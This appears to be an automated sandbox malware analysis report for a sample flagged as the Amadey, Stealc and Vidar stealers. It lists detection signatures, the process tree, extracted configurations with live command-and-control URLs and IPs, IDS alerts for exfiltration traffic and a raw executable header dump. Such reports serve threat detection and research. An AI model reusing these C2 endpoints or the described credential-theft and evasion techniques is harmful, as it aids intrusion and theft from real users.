Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560914
MD5:	bc7e15f0d547a97f33b7084eb8bb6e35
SHA1:	83ee297f1a2f1651c6596c5349614ea27e4643d5
SHA256:	bee50744a16bd59e87b06e58043e3efd7bd2d3fb31f25e4481a9ea498e181194
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5608 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BC7E15F0D547A97F33B7084EB8BB6E35)

chrome.exe (PID: 5944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2160,i,13596938817302941313,5679864875784056474,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2292,i,12221188568326329840,15947637541635957062,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8600 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJEGDBGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIJEGDBGDBF.exe (PID: 8056 cmdline: "C:\Users\user\DocumentsIJEGDBGDBF.exe" MD5: 1DAA3A0AA5ED7E06B400A47309BA5003)

skotes.exe (PID: 8848 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1DAA3A0AA5ED7E06B400A47309BA5003)

msedge.exe (PID: 5676 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6448 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8404 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6396 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8636 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 3532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6856 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7044 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1DAA3A0AA5ED7E06B400A47309BA5003)

f3f60a7f50.exe (PID: 8240 cmdline: "C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe" MD5: B759516B5EE0D73ED0870C1BE43FB479)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2247171846.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2800446959.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2841327811.0000000000841000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2766723506.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2806955478.0000000000351000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3482893009.0000000000841000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2778649643.00000000009B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2778649643.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.3263472437.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.840000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsIJEGDBGDBF.exe.350000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.840000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5608, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5944, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:45:21.940374+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50131	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:25.787118+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49721	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:25.665062+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49721	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:26.122204+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49721	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:27.764926+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49721	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:26.417519+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49721	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:25.209913+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49721	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:45:06.537935+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50093	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:45:20.549675+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50102	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:45:11.044428+0100	2803305	3	Unknown Traffic	192.168.2.6	50105	31.41.244.11	80	TCP
2024-11-22T14:45:23.427432+0100	2803305	3	Unknown Traffic	192.168.2.6	50136	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T14:43:28.531972+0100	2803304	3	Unknown Traffic	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:52.446932+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:54.453281+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:55.801149+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:56.924212+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:00.580562+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:01.683789+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:07.668446+0100	2803304	3	Unknown Traffic	192.168.2.6	49949	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dlle	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllA	Avira URL Cloud: Label: malware
Source: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347U	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpplorerFPS_BROWSERM	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 00000017.00000003.2800446959.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_15118e92-5

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50116 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49721 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49721 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49721 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49721 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50093 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50102
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50131 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 13:43:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 